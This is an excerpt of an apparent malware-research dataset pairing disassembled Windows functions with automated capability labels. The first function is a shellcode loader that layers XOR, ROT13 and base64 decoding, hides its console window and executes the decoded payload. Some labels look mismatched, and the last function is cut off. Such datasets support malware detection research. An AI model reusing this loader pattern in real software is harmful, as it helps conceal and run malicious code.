joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001828
Capabilities:
Hide graphical window

Disassembly:
push rbp
push rbx
mov eax, 0x56cd8
call fcn.140002a50
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, rsp
mov rbx, rax
lea rax, [rbp - 0x30]
lea rdx, [0x14000a058]
mov ecx, 0x56c48
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov qword [rbp + 0x56c48], 0x56c48
mov qword [rbp + 0x56c40], 0x20
movabs rax, 0x1417a8bb19931524
movabs rdx, 0x96cdd9cd15dad870
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
movabs rax, 0xd3710159a6077f7b
movabs rdx, 0x47afbd554cc3fecb
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov r8, qword [rbp + 0x56c40]
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp + 0x56c48]
lea rax, [rbp - 0x30]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.xor_encrypt_decrypt_unsigned_char__unsigned_long_long__unsigned_char__unsigned_long_long_
mov rdx, qword [rbp + 0x56c48]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.rot13_unsigned_char__unsigned_long_long_
mov rax, qword [rbp + 0x56c48]
shr rax, 2
mov rdx, rax
mov rax, rdx
add rax, rax
add rax, rdx
mov qword [rbp + 0x56c38], rax
mov rax, qword [rbp + 0x56c38]
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x56c30], rdx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140002a50
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp + 0x56c28], rax
lea r8, [rbp - 0x58]
mov rcx, qword [rbp + 0x56c28]
mov rdx, qword [rbp + 0x56c48]
lea rax, [rbp - 0x30]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.base64_decode_unsigned_char_const__unsigned_long_long__unsigned_char__unsigned_long_long_
mov rdx, qword [rbp - 0x58]
mov rax, qword [rbp + 0x56c28]
mov rcx, rax
call sym.rot13_unsigned_char__unsigned_long_long_
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x56c20], rax
mov rax, qword [rbp + 0x56c20]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rdx, qword [rbp - 0x58]
mov rax, qword [rbp + 0x56c28]
mov rcx, rax
call sym.execute_shellcode_unsigned_char__unsigned_long_long_
mov eax, 0
mov rsp, rbx
lea rsp, [rbp + 0x56c58]
pop rbx
pop rbp
ret

Function at 0x140001c90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001d00
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140064094]
mov rbx, rcx
test esi, esi
jle 0x140001e30
mov rax, qword [0x140064098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001d4b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001dd5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001d30
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001e52
mov rax, qword [0x140064098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140064098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001e37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001dce
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001de0
add dword [0x140064094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140064098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001dce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001d58
mov rax, qword [0x140064098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400023e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140064100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400640e0]
test rbx, rbx
je 0x14000243c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002433
test eax, eax
jne 0x140002433
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002418
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002650
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002668
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002670
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002680
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400026cd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400026c4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400026cf
add rax, 0x28
cmp rax, r9
jne 0x1400026b0
xor eax, eax
ret

Function at 0x1400026d0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002760
mov rdx, qword [0x1400613c0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000274e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000274e
cmp word [rax + 0x18], 0x20b
jne 0x14000274e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002760
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002739
add rbx, 0x28
cmp rbx, rdi
je 0x140002760
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002730
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002770
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400613c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002790
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002798
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002790
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400027ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400027e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002790
add rax, 0x28
cmp rax, r9
jne 0x1400027d0
xor eax, eax
ret

Function at 0x1400027f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400613c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000280f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002818
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000280f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002830
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400613c0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002850
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002858
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002850
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400028a0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002897
test rcx, rcx
je 0x140002850
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002888
xor eax, eax
ret
Function at 0x1400028b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400613c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400028cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400028d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400028f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400613c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002910
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002918
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002910
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002910
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002964
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002970
add rdx, 0x28
cmp rdx, r9
jne 0x140002950
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002980
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400613c0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400029a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400029b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400029a2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400029a2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002a05
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002a18
add rdx, 0x28
cmp r10, rdx
jne 0x1400029f0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002a27
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002a37
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002a0e
test ecx, ecx
jg 0x140002a20
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140005fa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140006020
cmp r11, r10
ja 0x140006097
cmp r10, rdx
ja 0x1400060a9
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140006022
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140006000
jmp 0x140006084
ja 0x14000602a
mov r11, r10
cmp rax, r8
jne 0x140005fce
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140006060
mov rdi, r8
sub ecx, edx
jns 0x14000607b
jmp 0x140006086
cmp r8, rsi
je 0x1400060b8
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140006086
xor al, 1
cmp rdi, rsi
jne 0x140006040
jmp 0x140006086
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, [0x140e3e528]
mov rcx, r11
mov rdx, r10
call fcn.1400040b0
lea r8, [0x140e3e528]
mov rcx, r10
call fcn.1400035a0
lea rcx, [0x140e3e510]
call fcn.140004aa0
int3

Function at 0x14000c470
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x14000c495
cmp rax, rcx
je 0x14000c49b
cmp rdx, 4
jae 0x14000c4a2
xor eax, eax
xor r8d, r8d
jmp 0x14000c540
pop rbp
jmp fcn.1400030c0
xor eax, eax
jmp 0x14000c557
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x140036420]
movdqa xmm3, xmmword [0x140036430]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x14000c4d0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x14000c557
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x14000c540
pop rbp
ret
Function at 0x14000d530
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
lea rbp, [rsp + 0x40]
mov r10, qword [rcx]
test r10, r10
je 0x14000d5b4
mov r11, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
cmp r8, r11
jae 0x14000d5b4
movzx eax, byte [r10 + r8]
cmp eax, 0x49
mov rbx, rcx
je 0x14000d5cd
cmp eax, 0x42
jne 0x14000d5b4
lea rsi, [r8 + 1]
mov qword [rcx + 0x10], rsi
mov r9b, 1
cmp rsi, r11
jae 0x14000d6fd
cmp byte [r10 + rsi], 0x5f
jne 0x14000d68c
lea rax, [r8 + 2]
mov qword [rcx + 0x10], rax
xor eax, eax
cmp rax, r8
jae 0x14000d6fd
mov edx, dword [rcx + 0x18]
inc edx
cmp edx, 0x1f4
jbe 0x14000d757
mov dil, 1
xor r9d, r9d
jmp 0x14000d6ff
xor edx, edx
call fcn.140009070
mov esi, eax
add sil, sil
mov eax, esi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
inc r8
mov qword [rcx + 0x10], r8
xor edx, edx
call fcn.140009070
test al, al
jne 0x14000d73d
mov rdx, rbx
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x14000d60c
lea rdx, [0x140e3f52b]
mov r8d, 1
call fcn.140003620
mov rdx, rbx
test al, al
jne 0x14000d73d
mov rax, qword [rdx]
mov sil, 1
test rax, rax
je 0x14000d5c0
xor r14d, r14d
lea rdi, [0x140e3f881]
nop word cs:[rax + rax]
mov rcx, qword [rdx + 0x10]
cmp rcx, qword [rdx + 8]
jae 0x14000d644
cmp byte [rax + rcx], 0x45
je 0x14000d790
sub r14, 1
jb 0x14000d66c
mov rcx, qword [rdx + 0x20]
test rcx, rcx
je 0x14000d66c
mov r8d, 2
mov rdx, rdi
call fcn.140003620
mov rdx, rbx
test al, al
jne 0x14000d73d
mov rcx, rdx
call fcn.14000a8d0
test al, al
jne 0x14000d73d
mov rdx, rbx
mov rax, qword [rbx]
test rax, rax
jne 0x14000d630
jmp 0x14000d5c0
xor eax, eax
mov r14d, 0x3e
nop word cs:[rax + rax]
movzx edx, byte [r10 + rsi]
cmp dl, 0x5f
je 0x14000d6ed
lea edi, [rdx - 0x30]
cmp dil, 0xa
jb 0x14000d6cf
lea edi, [rdx - 0x61]
cmp dil, 0x1a
jae 0x14000d6c1
add dl, 0xa9
jmp 0x14000d6cd
lea edi, [rdx - 0x41]
cmp dil, 0x1a
jae 0x14000d6fd
add dl, 0xe3
mov edi, edx
inc rsi
mov qword [rcx + 0x10], rsi
mul r14
jo 0x14000d6fd
movzx edx, dil
xor edi, edi
add rax, rdx
jb 0x14000d6ff
cmp rsi, r11
jb 0x14000d6a0
jmp 0x14000d6ff
inc rsi
mov qword [rcx + 0x10], rsi
inc rax
jne 0x14000d58f
xor edi, edi
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x14000d745
mov ecx, r9d
xor cl, 1
movzx ecx, cl
lea r8, [rcx + rcx*8]
add r8, 0x10
lea rcx, [0x140e3f850]
lea rdx, [0x140e3f860]
test r9b, r9b
cmovne rdx, rcx
mov rcx, rax
call fcn.140003620
mov rcx, rbx
test al, al
je 0x14000d745
mov sil, 2
jmp 0x14000d5c0
mov qword [rcx], 0
mov byte [rcx + 8], dil
xor esi, esi
jmp 0x14000d5c0
cmp qword [rcx + 0x20], 0
je 0x14000d750
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp - 0x20], xmm0
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x18], edx
mov rsi, rcx
call fcn.14000d530
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x14000d5c2
inc rcx
mov qword [rdx + 0x10], rcx
jmp 0x14000d5c0
Function at 0x1400103e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x140e41ca8]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.ntdll.dll_NtWriteFile
cmp eax, 0x103
jne 0x14001044f
mov rcx, rsi
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
mov eax, dword [rbp]
cmp eax, 0x103
je 0x14001047b
test eax, eax
js 0x14001045b
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x140010471
mov ecx, eax
call sub.ntdll.dll_RtlNtStatusToDosError
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, [0x140e41d08]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x30]
call fcn.14000fd50
mov rcx, rax
call fcn.14000fdd0
mov ecx, 7
int 0x29
ud2

Function at 0x1400109e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov ecx, dword [0x1400350a8]
test ecx, ecx
je 0x140010add
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x140010a11
cmp qword [rax + 8], 0
jne 0x140010ace
mov ecx, dword [0x1400350a8]
test ecx, ecx
je 0x140010af0
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x140010ad4
test rax, rax
jne 0x140010a8f
mov qword [rbp - 8], 0
lea rax, [0x140035090]
mov qword [rbp - 0x10], rax
movzx eax, byte [0x140e4a0a0]
mov ecx, 0x18
call fcn.14002f090
test rax, rax
je 0x140010b1c
mov rcx, qword [rbp]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400350a8]
test ecx, ecx
je 0x140010b03
dec ecx
mov rdx, rax
mov rsi, rax
call sub.KERNEL32.dll_TlsSetValue
mov rax, rsi
mov rdx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x10], rdx
mov qword [rbp - 8], rcx
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
test rdx, rdx
je 0x140010ace
test rcx, rcx
je 0x140010ace
lock dec qword [rcx]
jne 0x140010ace
lea rcx, [rbp - 8]
mov rsi, rax
call fcn.140010bf0
mov rax, rsi
add rax, 0x10
jmp 0x140010ad6
xor eax, eax
add rsp, 0x38
pop rsi
pop rbp
ret
lea rcx, [0x140035090]
call fcn.140010cb0
mov ecx, eax
jmp 0x1400109fb
lea rcx, [0x140035090]
call fcn.140010cb0
mov ecx, eax
jmp 0x140010a21
lea rcx, [0x140035090]
mov rsi, rax
call fcn.140010cb0
mov ecx, eax
mov rax, rsi
jmp 0x140010a81
mov ecx, 8
mov edx, 0x18
call fcn.140002430
ud2
Function at 0x140010cb0
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov rsi, rcx
cmp qword [rcx], 0
je 0x140010d45
mov rax, qword [0x140e4c038]
mov dword [rbp], 0
lea rbx, [rsi + 0x10]
mov r8, rbp
mov rcx, rbx
xor edx, edx
xor r9d, r9d
call sub.KERNEL32.dll_InitOnceBeginInitialize
mov dword [rbp + 4], eax
cmp eax, 1
jne 0x140010d84
cmp dword [rbp], 0
je 0x140010d68
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x140010d99
mov edi, eax
mov rax, qword [0x140e4a150]
nop word cs:[rax + rax]
mov qword [rsi + 8], rax
lock cmpxchg qword [0x140e4a150], rsi
jne 0x140010d20
mov eax, edi
inc eax
mov dword [rsi + 0x18], eax
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
jmp 0x140010d79
call sub.KERNEL32.dll_TlsAlloc
mov dword [rbp + 4], eax
cmp eax, 0xffffffff
je 0x140010ddb
mov ecx, eax
inc ecx
xor eax, eax
lock cmpxchg dword [rsi + 0x18], ecx
jne 0x140010d6d
mov edi, dword [rbp + 4]
jmp 0x140010d79
mov edi, dword [rsi + 0x18]
jmp 0x140010d77
mov edi, eax
mov ecx, dword [rbp + 4]
call sub.KERNEL32.dll_TlsFree
dec edi
mov eax, edi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov qword [rbp - 0x30], 0
lea rcx, [rbp + 4]
lea rdx, [rbp - 0x30]
call fcn.140010e40
mov rcx, rbx
mov edx, 4
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
lea rax, [0x140e42158]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rdx, [0x140e421a0]
lea rcx, [rbp - 0x30]
call fcn.140002bf0
lea rax, [0x140e42158]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [rbp + 4]
lea rdx, [rbp - 0x30]
call fcn.140010e90
int3

Function at 0x140011520
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov ecx, dword [0x140035088]
test ecx, ecx
je 0x1400115bb
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x14001154c
cmp byte [rax + 8], 0
jne 0x1400115ac
mov ecx, dword [0x140035088]
test ecx, ecx
je 0x1400115ce
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x1400115b2
test rax, rax
jne 0x1400115a6
movzx eax, byte [0x140e4a0a0]
mov ecx, 0x10
call fcn.14002f090
test rax, rax
je 0x1400115f7
lea rcx, [0x140035070]
mov qword [rax], rcx
mov byte [rax + 8], 0
mov ecx, dword [0x140035088]
test ecx, ecx
je 0x1400115e1
dec ecx
mov rdx, rax
mov rsi, rax
call sub.KERNEL32.dll_TlsSetValue
mov rax, rsi
mov word [rax + 8], 1
add rax, 9
jmp 0x1400115b4
xor eax, eax
add rsp, 0x28
pop rsi
pop rbp
ret
lea rcx, [0x140035070]
call fcn.140010cb0
mov ecx, eax
jmp 0x14001153b
lea rcx, [0x140035070]
call fcn.140010cb0
mov ecx, eax
jmp 0x140011558
lea rcx, [0x140035070]
mov rsi, rax
call fcn.140010cb0
mov ecx, eax
mov rax, rsi
jmp 0x140011598
mov ecx, 8
mov edx, 0x10
call fcn.140002430
int3
Function at 0x140011b50
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov ecx, dword [0x140035068]
test ecx, ecx
je 0x140011c12
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x140011b86
cmp qword [rax + 8], 0
je 0x140011b86
add rax, 0x10
jmp 0x140011c0b
mov ecx, dword [0x140035068]
test ecx, ecx
je 0x140011c25
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x140011c09
test rax, rax
jne 0x140011bec
movzx eax, byte [0x140e4a0a0]
mov ecx, 0x20
call fcn.14002f090
test rax, rax
je 0x140011c4e
lea rcx, [0x140035050]
mov qword [rax], rcx
mov qword [rax + 8], 0
mov ecx, dword [0x140035068]
test ecx, ecx
je 0x140011c38
dec ecx
mov rdx, rax
mov rsi, rax
call sub.KERNEL32.dll_TlsSetValue
mov rax, rsi
mov qword [rax + 8], 1
mov rcx, rax
add rax, 0x10
mov qword [rcx + 0x10], 0
mov byte [rcx + 0x18], 0
jmp 0x140011c0b
xor eax, eax
add rsp, 0x28
pop rsi
pop rbp
ret
lea rcx, [0x140035050]
call fcn.140010cb0
mov ecx, eax
jmp 0x140011b6b
lea rcx, [0x140035050]
call fcn.140010cb0
mov ecx, eax
jmp 0x140011b96
lea rcx, [0x140035050]
mov rsi, rax
call fcn.140010cb0
mov ecx, eax
mov rax, rsi
jmp 0x140011bde
mov ecx, 8
mov edx, 0x20
call fcn.140002430
int3

Function at 0x140014d30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
movzx eax, byte [rdx + 0x3a]
test al, al
setne r8b
cmp r9b, 1
ja 0x140014db6
test al, al
jne 0x140014d8f
movzx esi, byte [rdx + 0x10]
lea eax, [rsi - 5]
